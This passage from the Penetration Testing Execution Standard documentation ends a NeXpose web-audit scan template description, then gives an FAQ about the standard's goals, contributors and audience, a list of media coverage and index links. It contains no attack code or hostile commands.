‘”Description: ‘”This audit of all Web servers and Web applications is suitable public-facing and internal assets, including application servers, ASP’s, and CGI scripts. NeXpose does not perform patch checking or policy compliance audits. Nor does it scan FTP servers, mail servers, or database servers, as is the case with the DMZ Audit scan template.

‘”Why use this template: ‘”Use this template to scan public-facing Web assets.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”10

‘”ICMP (Ping hosts): ‘”N

‘”TCP ports used for device discovery: ‘”None

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”Well-known numbers

‘”TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”None

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”Web category check

‘”Specific vulnerability checks disabled: ‘”None

CHAPTER 10

FAQ

10.1 Q: What is this "Penetration Testing Execution Standard"?

A: It is a new standard designed to provide both businesses and security service providers with a common language and scope for performing penetration testing (i.e. Security evaluations). It started early in 2009 following a discussion that sparked between some of the founding members over the value (or lack of) of penetration testing in the industry.

10.2 Q: Who is involved with this standard?

A: We are a group of information security practitioners from all areas of the industry (I.e. Financial Institutions, Service Providers, Security Vendors). The group currently consists of:

- Chris Nickerson, CEO - Lares Consulting.
- Dave Kennedy, President/CEO - blog TrustedSec .
- Chris John Riley, IT Security Analyst - blog Raiffeisen Informatik GmbH.
- Eric Smith, Partner - Lares Consulting.
- Iftach Ian Amit, Director of Services - blog IOActive.
- Andrew Rabie, Wizard - Avon Products Inc.
- Stefan Friedli, Senior Security Consultant - scip AG.
- Justin Searle, Senior Security Analyst - InGuardians.
- Brandon Knight, Senior Security Consultant - SecureState .
- Chris Gates, Senior Security Consultant - blog Lares Consulting.
- Joe McCray, CEO - Strategic Security.
- Carlos Perez, Lead Vulnerability Research Engineer - Tenable Security.
- John Strand, Owner - Black Hills Information Security.

- Steve Tornio, Senior Consultant - Sunera LLC.
- Nick Percoco, Senior Vice President - SpiderLabs at Trustwave.
- Dave Shackelford, Security Consultant, SANS Instructor.
- Val Smith - Attack Research.
- Robin Wood, Senior Security Engineer - blog RandomStorm.
- Wim Remes, Security Consultant - EY Belgium.
- Rick Hayes, Force Practice Lead - TrustedSec .

10.3 Q: So is this a closed group or can I join in?

A: We started this with about 6 people, the first in-person meeting held almost 20. We would love more insight and down-to-earth opinions so if you can contribute please feel free to email us.

10.4 Q: Is this going to be a formal standard?

A: We are aiming to create an actual standard so that businesses can have a baseline of what is needed when they get a pentest as well as an understanding of what type of testing they require or would provide value to their business. The lack of standardization now is only hurting the industry as businesses are getting low-quality work done, and practitioners lack guidance in terms of what is needed to provide quality service.

10.5 Q: Is the standard going to include all possible pentest scenarios?

A: While we can't possibly cover all scenarios, the standard is going to define a baseline for the minimum that is required from a basic pentest, as well as several "levels" on top of it that provide more comprehensive activities required for organizations with higher security needs. The different levels would also be defined as per the industry in which they should be the baseline for.

10.6 Q: Is this effort going to standardize the reporting as well?

A: Yes. We feel that providing a standard for the test without defining how the report is provided would be useless. We will define both executive (business) reporting as well as technical reporting as an integrated part of the standard.

10.7 Q: Who is the intended audience for this standard/project?

A: Two main communities: businesses that require the service, and service providers. For businesses the goal is to enable them to demand a specific baseline of work as part of a pentest. For service providers the goal is to provide a baseline for the kinds of activities needed, what should be taken into account as part of the pentest from scoping through reporting and deliverables.

10.8 Q: Is there a mindmap version of the original sections?

A: Following popular demand, we have _a_ version of the mindmap used when creating the first drafts of the standard available for download here (in FreeMind format).

CHAPTER 11

Media

Here is some of the media releases since the birth of PTES.

Zdnet

InfoSecInstitute

Chris John Riley Blog

Iftach Ian Amit (iiamit) Blog

Dave Kennedy (ReL1K) Blog

Security Justice Podcast

Blip.tv

Zonbi.org

InfoSecIsland

Zonbi.org

Aluc.TV Podcast

ISDPodcast 1

ISDPodcast 2

Securabit Podcast

Source Boston session on PTES and the video interview

CHAPTER 12

Indices and tables

- genindex
- modindex
- search